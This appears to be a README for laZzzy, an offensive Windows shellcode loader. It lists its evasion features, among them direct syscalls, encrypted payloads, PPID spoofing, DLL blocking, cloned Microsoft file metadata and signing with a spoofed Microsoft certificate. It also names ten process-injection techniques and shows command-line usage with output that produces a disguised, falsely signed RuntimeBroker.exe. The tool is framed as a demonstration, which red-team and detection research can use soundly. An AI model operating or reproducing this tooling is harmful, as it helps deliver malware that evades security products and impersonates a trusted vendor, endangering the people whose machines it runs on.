laZzzy | Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques


Python C++ Visual Studio Windows

laZzzy is a shellcode loader that demonstrates different execution techniques commonly employed by malware. laZzzy was developed using different open-source header-only libraries.


  • Direct syscalls and native (Nt*) functions (not all functions but most)
  • Import Address Table (IAT) evasion
  • Encrypted payload (XOR and AES)
    • Randomly generated key
    • Automatic padding (if necessary) of payload with NOPS (\x90)
    • Byte-by-byte in-memory decryption of payload
  • XOR-encrypted strings
  • PPID spoofing
  • Blocking of non-Microsoft-signed DLLs
  • (Optional) Cloning of PE icon and attributes
  • (Optional) Code signing with spoofed cert

How to Use


  • Windows machine w/ Visual Studio and the following components, which can be installed from Visual Studio Installer > Individual Components:
    • C++ Clang Compiler for Windows and C++ Clang-cl for build toolsClang
    • ClickOnce PublishingClickOne
  • Python3 and the required modules:
    • python3 -m pip install -r requirements.txt


(venv) PS C:\MalDev\laZzzy> python3 .\ -h ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀ usage: [-h] -s -p -m [-tp] [-sp] [-pp] [-b] [-d] options: -h, --help show this help message and exit -s path to raw shellcode -p password -m shellcode execution method (e.g. 1) -tp process to inject (e.g. svchost.exe) -sp process to spawn (e.g. C:\Windows\System32\RuntimeBroker.exe) -pp parent process to spoof (e.g. explorer.exe) -b binary to spoof metadata (e.g. C:\Windows\System32\RuntimeBroker.exe) -d domain to spoof (e.g. shellcode execution method: 1 Early-bird APC Queue (requires sacrificial proces) 2 Thread Hijacking (requires sacrificial proces) 3 KernelCallbackTable (requires sacrificial process that has GUI) 4 Section View Mapping 5 Thread Suspension 6 LineDDA Callback 7 EnumSystemGeoID Callback 8 FLS Callback 9 SetTimer 10 Clipboard


Execute and supply the necessary data.

(venv) PS C:\MalDev\laZzzy> python3 .\ -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\Windows\System32\notepad.exe -d -b C:\Windows\System32\mmc.exe ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀ [+] XOR-encrypting payload with [] Key: d3b666606468293dfa21ce2ff25e86f6 [+] AES-encrypting payload with [] IV: f96312f17a1a9919c74b633c5f861fe5 [] Key: 6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec [+] Modifying template using [] Technique: Early-bird APC Queue [] Process to inject: None [] Process to spawn: C:\Windows\System32\RuntimeBroker.exe [] Parent process to spoof: svchost.exe [+] Spoofing metadata [] Binary: C:\Windows\System32\RuntimeBroker.exe [] CompanyName: Microsoft Corporation [] FileDescription: Runtime Broker [] FileVersion: 10.0.22621.608 (WinBuild.160101.0800) [] InternalName: RuntimeBroker.exe [] LegalCopyright: © Microsoft Corporation. All rights reserved. [] OriginalFilename: RuntimeBroker.exe [] ProductName: Microsoft® Windows® Operating System [] ProductVersion: 10.0.22621.608 [+] Compiling project [] Compiled executable: C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe [+] Signing binary with spoofed cert [] Domain: [] Version: 2 [] Serial: 33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6 [] Subject: /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/ [] Issuer: /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06 [] Not Before: October 04 2022 [] Not After: September 29 2023 [] PFX file: C:\MalDev\laZzzy\output\ [+] All done! [] Output file: C:\MalDev\laZzzy\output\RuntimeBroker.exe

Libraries Used

Shellcode Execution Techniques

  1. Early-bird APC Queue (requires sacrificial process)
  2. Thread Hijacking (requires sacrificial process)
  3. KernelCallbackTable (requires sacrificial process that has a GUI)
  4. Section View Mapping
  5. Thread Suspension
  6. LineDDA Callback
  7. EnumSystemGeoID Callback
  8. Fiber Local Storage (FLS) Callback
  9. SetTimer
  10. Clipboard


  • Only works on Windows x64
  • Debugging only works on Release mode
  • Sometimes, KernelCallbackTable doesn’t work on the first run but will eventually work afterward